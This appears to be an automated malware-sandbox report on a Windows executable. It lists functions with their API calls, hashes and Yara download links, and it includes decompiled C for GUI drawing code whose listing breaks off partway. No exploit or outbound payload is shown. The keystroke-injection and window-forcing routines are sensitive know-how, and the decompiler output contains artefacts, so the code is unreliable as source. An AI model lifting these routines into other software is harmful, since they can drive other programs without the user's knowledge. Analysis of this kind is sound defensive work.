Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1798697756
Opcode ID: 9bc5fb06c08d29ce6636bf52bb947529a3e47b00e22191cc3071a85bd07c716f
Instruction ID: 94797dc4c85f66efc0c5764fbd25e58f05a2cc9e7198b098ada95f9b879b92da
Opcode Fuzzy Hash: 9bc5fb06c08d29ce6636bf52bb947529a3e47b00e22191cc3071a85bd07c716f
Instruction Fuzzy Hash: A693B171A00215DBDF24CF58D881BEDB7B1FF48315F28816AED55AB290EB709E85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D04A35, Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00D04A3D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00D3DA8E
IsIconic.USER32 ref: 00D3DA97
ShowWindow.USER32(?,00000009), ref: 00D3DAA4
SetForegroundWindow.USER32(?), ref: 00D3DAAE
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00D3DAC4
GetCurrentThreadId.KERNEL32 ref: 00D3DACB
GetWindowThreadProcessId.USER32(?,00000000), ref: 00D3DAD7
AttachThreadInput.USER32(?,00000000,00000001), ref: 00D3DAE8
AttachThreadInput.USER32(?,00000000,00000001), ref: 00D3DAF0
AttachThreadInput.USER32(00000000,?,00000001), ref: 00D3DAF8
SetForegroundWindow.USER32(?), ref: 00D3DAFB
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D3DB10
keybd_event.USER32(00000012,00000000), ref: 00D3DB1B
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D3DB25
keybd_event.USER32(00000012,00000000), ref: 00D3DB2A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D3DB33
keybd_event.USER32(00000012,00000000), ref: 00D3DB38
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D3DB42
keybd_event.USER32(00000012,00000000), ref: 00D3DB47
SetForegroundWindow.USER32(?), ref: 00D3DB4A
AttachThreadInput.USER32(?,?,00000000), ref: 00D3DB71

Strings

Shell_TrayWnd, xrefs: 00D3DA89

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 63bf67cfe8fabfdb85328a02624952dad1d3f1d6a8b6aa569b01c487880e7b9d
Instruction ID: 52c6b553619ae72c0eb5eb7d4d18fb30d64819c60b86c44860481e690d5479e9
Opcode Fuzzy Hash: 63bf67cfe8fabfdb85328a02624952dad1d3f1d6a8b6aa569b01c487880e7b9d
Instruction Fuzzy Hash: FF315271A50318BBEB216F619C4AF7E7E6DEB44B50F154065FA04EA2D0D6B05910AFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D16843, Relevance: 18.4, Strings: 14, Instructions: 883COMMON

Download Yara Rule

Strings

LF), xrefs: 00D516DD
BSR_ANYCRLF), xrefs: 00D51757
CR), xrefs: 00D516C0
LIMIT_MATCH=, xrefs: 00D515A9
BSR_UNICODE), xrefs: 00D51771
NO_AUTO_POSSESS), xrefs: 00D51567
UTF), xrefs: 00D51533
ANY), xrefs: 00D51717
ANYCRLF), xrefs: 00D51734
NO_START_OPT), xrefs: 00D51588
UCP), xrefs: 00D51546
LIMIT_RECURSION=, xrefs: 00D51635
CRLF), xrefs: 00D516FA
UTF16), xrefs: 00D51508

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: a60a996446a5dff794a0b64eb1baf7a712d57caa6c2784a3261e75c45ea612dc
Instruction ID: a3c7760cc80d4456e5d89682813066ac828d7d0decec53e2f7d1aa1b754de432
Opcode Fuzzy Hash: a60a996446a5dff794a0b64eb1baf7a712d57caa6c2784a3261e75c45ea612dc
Instruction Fuzzy Hash: 45724D75E002199BDF24CF59D8807EEB7B5EF48711F18816AEC55EB280EB70D985CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D01287, Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00D019FA
GetSysColor.USER32(0000000F), ref: 00D01A4E
SetBkColor.GDI32(?,00000000), ref: 00D01A61

Part of subcall function 00D01290: DefDlgProcW.USER32(?,00000020,?), ref: 00D012D8

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: bddf15401f08f784b02f6f09c5f089deb1eec99138f3ba5cd3406d61d44ec5ab
Instruction ID: 70c4d492439455f5fffe43d3086496e641d70e5ef6c8cb5d5ad21415a25e03b4
Opcode Fuzzy Hash: bddf15401f08f784b02f6f09c5f089deb1eec99138f3ba5cd3406d61d44ec5ab
Instruction Fuzzy Hash: B0A17978212546BEE639ABA99C48FBF359CDF42351F1C020AF54AD62D2CF20DD0293B5

Uniqueness

Uniqueness Score: -1.00%

Function 00D02344, Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00D02357
ScreenToClient.USER32 ref: 00D02374
GetAsyncKeyState.USER32(00000001), ref: 00D02399
GetAsyncKeyState.USER32(00000002), ref: 00D023A7

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: ffadbaaa2c530616728be4d9b6a3a3a1fb844732685a39e1baee55349d6e57ec
Instruction ID: dc586e5a6f7292a7b44308e52ea8c3457c2034252a4d90963ce3cbe4a502810e
Opcode Fuzzy Hash: ffadbaaa2c530616728be4d9b6a3a3a1fb844732685a39e1baee55349d6e57ec
Instruction Fuzzy Hash: B8416E35504219FBDF159F68C848BEEBB74FB05324F24435AF868A22D0C7759950DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D04C95, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00D04C2E,?,00000000), ref: 00D04CA3
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00D04CB5

Strings

GetNativeSystemInfo, xrefs: 00D04CAF
kernel32.dll, xrefs: 00D04C9E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 874ea39d5e8edad3c67417c3e389c531fd475e0f632f90c404106c244770d7d2
Instruction ID: 99fbf070ef7909ad1eb6db4d77439415a665e648b09ece6f48a11b7385cf2f28
Opcode Fuzzy Hash: 874ea39d5e8edad3c67417c3e389c531fd475e0f632f90c404106c244770d7d2
Instruction Fuzzy Hash: 6BD01271510723CFD7205F31D918B4676D5AF05751F1588399885D6290DA70D490C770

Uniqueness

Uniqueness Score: -1.00%

Function 00D63E91, Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00D63EB6
Process32FirstW.KERNEL32(00000000,?), ref: 00D63EC4
Process32NextW.KERNEL32(00000000,?), ref: 00D63EE4
CloseHandle.KERNEL32(00000000), ref: 00D63F8E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c6b0debddd4d3bd4fed5f96543aa6735e31a71898075018f447e081bd9836fc6
Instruction ID: 7d1ea6a9c70738e144a08f03340b0c6e54d3c70e61adda7b660b375abed9ced6
Opcode Fuzzy Hash: c6b0debddd4d3bd4fed5f96543aa6735e31a71898075018f447e081bd9836fc6
Instruction Fuzzy Hash: 793180715083019FD304EF50D885BAFBBF8EF99354F14092DF585861A1EB71AA49CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A2D5, Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00D7977D,?,00D8FB84,?), ref: 00D6A302
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00D7977D,?,00D8FB84,?), ref: 00D6A314

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 514f7badd32ac6d64cc1292e5f168af3dd4871e13d0572b8191752864f5ae172
Instruction ID: f5aec1d6354a869c2a859c82aa1855a96f2b0c1ff525f9cc5ec94a7f17d340cb
Opcode Fuzzy Hash: 514f7badd32ac6d64cc1292e5f168af3dd4871e13d0572b8191752864f5ae172
Instruction Fuzzy Hash: 16F0823555432DABDB109FA4CC48FEA776DFF09761F004165F948D6281D6309940CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D2A395, Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00D28F97,?,?,?,00000001), ref: 00D2A39A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00D2A3A3

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0b3a50981ba9167d43e265b388f658af0917a49ba7f07362bb7bc1d934fcfb6c
Instruction ID: 1b3773ceeb35384fd48fe21c7894baa16ff8f6603bbf87ab2db821d41c6d955c
Opcode Fuzzy Hash: 0b3a50981ba9167d43e265b388f658af0917a49ba7f07362bb7bc1d934fcfb6c
Instruction Fuzzy Hash: 12B09231264308ABCA002B91EC09BA83F68EB46AA2F404020F60DC4260CB6254508BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D18A0E, Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd94757ad1639b4acdbe01903f3d20d9ee67f87e2bbe813f4563116a0357bad
Instruction ID: 8f0f80824a4acbd111293985d12514e34dbbecd07feea9f7a481587d7ce9e187
Opcode Fuzzy Hash: 5fd94757ad1639b4acdbe01903f3d20d9ee67f87e2bbe813f4563116a0357bad
Instruction Fuzzy Hash: F6222530905656EBDF29CA14F0A46BE77A2EB41311F6C446ADC828B295DF30DDC5EBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D8A849, Relevance: 49.8, APIs: 33, Instructions: 274
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00D8A849(intOrPtr _a4, struct HWND__** _a8) {
				int _v32;
				struct tagRECT _v48;
				struct tagRECT _v64;
				int _v68;
				void* _v72;
				int _v76;
				WCHAR* _v80;
				WCHAR* _v84;
				void* _v96;
				int _v100;
				void* __ebx;
				void* __edi;
				signed int _t90;
				long _t93;
				long _t95;
				void* _t97;
				void* _t105;
				long _t109;
				WCHAR* _t112;
				int _t123;
				signed int _t136;
				struct HDC__* _t151;
				int _t156;
				signed int _t157;
				signed int _t165;
				struct HWND__** _t168;
				intOrPtr _t176;
				int _t179;
				struct HWND__** _t180;
				int _t181;
				void* _t184;
				void* _t186;

				if( *0xdc62b0 == 0) {
					_t176 = _a4;
					_t90 =  *(_t176 + 0x10);
					_t151 =  *(_t176 + 0x18);
					_v48.left = _t90 & 0x00000010;
					_t156 = _t90 & 0x00000006;
					_v48.right = _t90 & 0x00000001;
					_v32 = _t156;
					__eflags = _t156;
					if(_t156 == 0) {
						_t168 = _a8;
						__eflags =  *((intOrPtr*)(_t168 + 0x4c)) - 0xffffffff;
						if( *((intOrPtr*)(_t168 + 0x4c)) != 0xffffffff) {
							_push( *((intOrPtr*)(_t168 + 0x4c)));
						} else {
							_push(GetSysColor(0x12));
						}
						_t93 = SetTextColor(_t151, ??);
					} else {
						_t93 = SetTextColor(_t151, GetSysColor(0xe));
						_t168 = _a8;
					}
					__eflags =  *(_t168 + 0x48) - 0xffffffff;
					_v48.top = _t93;
					if( *(_t168 + 0x48) != 0xffffffff) {
						_v64.left = CreateSolidBrush( *(_t168 + 0x48));
						_t95 =  *(_t168 + 0x48);
					} else {
						_v64.top.left = GetSysColorBrush(0xf);
						_t95 = GetSysColor(0xf);
					}
					_v48.top = SetBkColor(_t151, _t95);
					_t97 = SelectObject(_t151, _v72);
					__eflags = _v68;
					_v64.right = _t97;
					_v72 = _t176 + 0x1c;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					if(_v68 == 0) {
						__eflags = _v76;
						if(_v76 != 0) {
							InflateRect( &_v48, 0xffffffff, 0xffffffff);
						}
						DrawFrameControl(_t151,  &_v48, 4, 0x10);
					} else {
						InflateRect( &_v48, 0xffffffff, 0xffffffff);
						_t186 = CreateSolidBrush(GetSysColor(0x10));
						FrameRect(_t151,  &(_v64.bottom), _t186);
						DeleteObject(_t186);
					}
					_t101 =  &_v48;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t179 = _v68;
					__eflags = _t179;
					if(_t179 == 0) {
						__eflags = _v76;
						if(_v76 == 0) {
							_push(0xfffffffe);
							_push(0xfffffffe);
						} else {
							_push(0xfffffffd);
							_push(0xfffffffd);
						}
						InflateRect(_t101, ??, ??);
						_v48.left = _v48.left - 1;
						_t38 =  &(_v48.top);
						 *_t38 = _v48.top - 1;
						__eflags =  *_t38;
					} else {
						InflateRect( &_v48, 0xfffffffe, 0xfffffffe);
					}
					FillRect(_t151,  &_v48, _v80);
					_t105 = 2;
					__eflags = _t179;
					if(_t179 != 0) {
						L24:
						_v64.top.left = _v64.top.left + _t105;
						_t45 =  &(_v64.right);
						 *_t45 = _v64.right + _t105;
						__eflags =  *_t45;
					} else {
						__eflags = _v72 - _t179;
						if(_v72 != _t179) {
							goto L24;
						}
					}
					_t180 = _a8;
					_t171 = 0x104;
					_v96 = 0x104;
					_t157 = GetWindowLongW( *_t180, 0xfffffff0);
					__eflags = _t157 & 0x00002000;
					if((_t157 & 0x00002000) == 0) {
						_t171 = 0x124;
						__eflags = 0x104;
						_v96 = 0x104;
					}
					__eflags = (_t157 & 0x00000300) - 0x300;
					if((_t157 & 0x00000300) == 0x300) {
						_t171 = _t171 | 0x00000001;
						__eflags = _t171;
						_v96 = _t171;
					}
					__eflags = _t157 & 0x00000200;
					if(__eflags == 0) {
						__eflags = _t157 & 0x00000100;
						if(__eflags == 0) {
							_t171 = _t171 | 0x00000001;
							__eflags = _t171;
							goto L33;
						}
					} else {
						_t136 = 2;
						_t171 = _t171 | _t136;
						L33:
						_v96 = _t171;
					}
					_t109 = SendMessageW( *_t180, 0xe, 0, 0);
					_t165 = 2;
					_t58 = _t109 + 1; // 0x1
					_t181 = _t58;
					_t112 = E00D20FF6(_t151, _t171, __eflags,  ~(0 | __eflags > 0x00000000) | _t181 * _t165);
					_v80 = _t112;
					GetWindowTextW( *_a8, _t112, _t181);
					DrawTextW(_t151, _v80, 0xffffffff,  &(_v64.top), _t171);
					__eflags = _v72;
					if(_v72 != 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_v64.right = _v64.right + 1;
						_t74 =  &(_v64.bottom);
						 *_t74 = _v64.bottom.left + 1;
						__eflags =  *_t74;
						SetTextColor(_t151, GetSysColor(0x11));
						DrawTextW(_t151, _v84, 0xffffffff,  &_v64, _v100);
					}
					__eflags = _v84;
					if(_v84 != 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t184 = CreateSolidBrush(0);
						FrameRect(_t151,  &(_v64.top), _t184);
						DeleteObject(_t184);
						InflateRect( &_v64, 0xfffffffc, 0xfffffffc);
						DrawFocusRect(_t151,  &_v64);
					}
					L00D2106C(_v76);
					SelectObject(_t151, _v64);
					DeleteObject(_v96);
					SetTextColor(_t151, _v84);
					SetBkColor(_t151, _v80);
					_t123 = 1;
					__eflags = 1;
				} else {
					_t123 = E00D8AB60(_a4, _a8);
				}
				return _t123;
			}

0x00d8a85c
0x00d8a86e
0x00d8a871
0x00d8a876
0x00d8a87c
0x00d8a885
0x00d8a888
0x00d8a891
0x00d8a895
0x00d8a897
0x00d8a8aa
0x00d8a8ad
0x00d8a8b1
0x00d8a8ba
0x00d8a8b3
0x00d8a8b7
0x00d8a8b7
0x00d8a8be
0x00d8a899
0x00d8a89f
0x00d8a8a5
0x00d8a8a5
0x00d8a8c4
0x00d8a8c8
0x00d8a8cc
0x00d8a8ed
0x00d8a8f1
0x00d8a8ce
0x00d8a8d8
0x00d8a8dc
0x00d8a8dc
0x00d8a900
0x00d8a905
0x00d8a90b
0x00d8a914
0x00d8a91d
0x00d8a921
0x00d8a922
0x00d8a923
0x00d8a924
0x00d8a925
0x00d8a95d
0x00d8a962
0x00d8a96d
0x00d8a96d
0x00d8a97d
0x00d8a927
0x00d8a930
0x00d8a945
0x00d8a94e
0x00d8a955
0x00d8a955
0x00d8a98b
0x00d8a98f
0x00d8a990
0x00d8a991
0x00d8a992
0x00d8a993
0x00d8a997
0x00d8a999
0x00d8a9a8
0x00d8a9ad
0x00d8a9b5
0x00d8a9b7
0x00d8a9af
0x00d8a9af
0x00d8a9b1
0x00d8a9b1
0x00d8a9ba
0x00d8a9c0
0x00d8a9c4
0x00d8a9c4
0x00d8a9c4
0x00d8a99b
0x00d8a9a0
0x00d8a9a0
0x00d8a9d2
0x00d8a9da
0x00d8a9db
0x00d8a9dd
0x00d8a9e5
0x00d8a9e5
0x00d8a9e9
0x00d8a9e9
0x00d8a9e9
0x00d8a9df
0x00d8a9df
0x00d8a9e3
0x00000000
0x00000000
0x00d8a9e3
0x00d8a9ed
0x00d8a9f0
0x00d8a9f7
0x00d8aa03
0x00d8aa05
0x00d8aa0b
0x00d8aa0d
0x00d8aa0d
0x00d8aa10
0x00d8aa10
0x00d8aa1d
0x00d8aa1f
0x00d8aa21
0x00d8aa21
0x00d8aa24
0x00d8aa24
0x00d8aa28
0x00d8aa2e
0x00d8aa37
0x00d8aa3d
0x00d8aa3f
0x00d8aa3f
0x00000000
0x00d8aa3f
0x00d8aa30
0x00d8aa32
0x00d8aa33
0x00d8aa42
0x00d8aa42
0x00d8aa42
0x00d8aa4e
0x00d8aa58
0x00d8aa59
0x00d8aa59
0x00d8aa68
0x00d8aa70
0x00d8aa79
0x00d8aa8c
0x00d8aa92
0x00d8aa97
0x00d8aaa3
0x00d8aaa4
0x00d8aaa5
0x00d8aaa6
0x00d8aaa7
0x00d8aaab
0x00d8aaab
0x00d8aaab
0x00d8aab7
0x00d8aacd
0x00d8aacd
0x00d8aad3
0x00d8aad8
0x00d8aae4
0x00d8aae5
0x00d8aae6
0x00d8aae7
0x00d8aaee
0x00d8aaf7
0x00d8aafe
0x00d8ab0d
0x00d8ab19
0x00d8ab19
0x00d8ab23
0x00d8ab2e
0x00d8ab38
0x00d8ab43
0x00d8ab4e
0x00d8ab56
0x00d8ab56
0x00d8a85e
0x00d8a864
0x00d8a864
0x00d8ab5d

APIs

SetTextColor.GDI32(?,00000000), ref: 00D8A89F
GetSysColorBrush.USER32(0000000F), ref: 00D8A8D0
GetSysColor.USER32(0000000F), ref: 00D8A8DC
SetBkColor.GDI32(?,000000FF), ref: 00D8A8F6
SelectObject.GDI32(?,?), ref: 00D8A905
InflateRect.USER32(?,000000FF,000000FF), ref: 00D8A930
GetSysColor.USER32(00000010), ref: 00D8A938
CreateSolidBrush.GDI32(00000000), ref: 00D8A93F
FrameRect.USER32 ref: 00D8A94E
DeleteObject.GDI32(00000000), ref: 00D8A955
InflateRect.USER32(?,000000FE,000000FE), ref: 00D8A9A0
FillRect.USER32 ref: 00D8A9D2
GetWindowLongW.USER32(?,000000F0), ref: 00D8A9FD

Part of subcall function 00D8AB60: GetSysColor.USER32(00000012), ref: 00D8AB99
Part of subcall function 00D8AB60: SetTextColor.GDI32(?,?), ref: 00D8AB9D
Part of subcall function 00D8AB60: GetSysColorBrush.USER32(0000000F), ref: 00D8ABB3
Part of subcall function 00D8AB60: GetSysColor.USER32(0000000F), ref: 00D8ABBE
Part of subcall function 00D8AB60: GetSysColor.USER32(00000011), ref: 00D8ABDB
Part of subcall function 00D8AB60: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D8ABE9
Part of subcall function 00D8AB60: SelectObject.GDI32(?,00000000), ref: 00D8ABFA
Part of subcall function 00D8AB60: SetBkColor.GDI32(?,00000000), ref: 00D8AC03
Part of subcall function 00D8AB60: SelectObject.GDI32(?,?), ref: 00D8AC10
Part of subcall function 00D8AB60: InflateRect.USER32(?,000000FF,000000FF), ref: 00D8AC2F
Part of subcall function 00D8AB60: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D8AC46
Part of subcall function 00D8AB60: GetWindowLongW.USER32(00000000,000000F0), ref: 00D8AC5B

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 394a31b23dde1673826e72e89583ece99bafd37c94357ff82041c81fa3e2f9cb
Instruction ID: 63f5b6fd1ee16668914d5d61661b2916b436bdd5e8d6a04f772c2a47bd29f12c
Opcode Fuzzy Hash: 394a31b23dde1673826e72e89583ece99bafd37c94357ff82041c81fa3e2f9cb
Instruction Fuzzy Hash: 17A18F72018301BFD710AF68DC08E5B7BA9FF89721F144A2AF962D62E0D774D945CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D02C18, Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00D02C18(void* __ecx, int _a4) {
				struct HWND__* _v32;
				char _v48;
				void* _v52;
				int _v68;
				void* _v76;
				struct HWND__** _v80;
				struct HWND__* _v84;
				signed int _v88;
				signed int _v92;
				struct HWND__** _v96;
				struct HWND__* _v100;
				char _t193;
				signed int _t198;
				int _t208;
				struct HMENU__* _t209;
				struct HMENU__* _t211;
				struct HWND__* _t218;
				struct HWND__* _t221;
				struct HMENU__* _t228;
				intOrPtr _t234;
				struct HWND__* _t236;
				signed int _t237;
				struct HWND__* _t243;
				struct HWND__* _t259;
				signed int _t262;
				struct HWND__* _t263;
				struct HWND__* _t273;
				int _t275;
				void* _t278;
				void* _t286;
				int _t288;
				void* _t291;
				void* _t303;
				void* _t309;
				struct HWND__** _t313;
				struct HWND__* _t316;
				struct HWND__* _t318;
				struct HWND__* _t320;
				void* _t325;
				struct HWND__* _t326;
				struct HWND__* _t328;
				signed int _t329;
				intOrPtr _t330;
				struct HWND__** _t332;
				signed char _t337;
				signed int _t338;
				struct HWND__* _t339;
				struct HWND__* _t340;
				struct HWND__* _t341;
				struct HWND__* _t342;
				struct HWND__** _t345;
				signed int _t346;
				int _t348;
				struct HWND__** _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				intOrPtr* _t355;
				signed int _t356;
				signed int _t358;

				_t348 = _a4;
				_t309 = __ecx;
				if(E00D02402(__ecx, _t348,  &_v92,  &_v88) == 0) {
					L16:
					_t193 = 0;
					L15:
					return _t193;
				}
				_v92 = _v92 | 0xffffffff;
				_t313 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x60)) + _v92 * 4))));
				_v96 = _t313;
				_t345 =  *( *( *((intOrPtr*)(__ecx + 0x74)) + _v88 * 4));
				_v80 = _t345;
				_t337 = _t345[0x24];
				_t198 = _t337 & 0x000000ff;
				if(_t198 <= 0x11) {
					if(__eflags == 0) {
						SendMessageW(_t345[0xd], 0x1101, 0, _t345[4]);
						L8:
						_t350 = _v96;
						L9:
						if(_t345[0x11] != 0) {
							DeleteObject(_t345[0x11]);
						}
						if(_t345[0x19] != 0) {
							DeleteObject(_t345[0x19]);
						}
						if(_t345[0x1a] != 0) {
							DestroyIcon(_t345[0x1a]);
						}
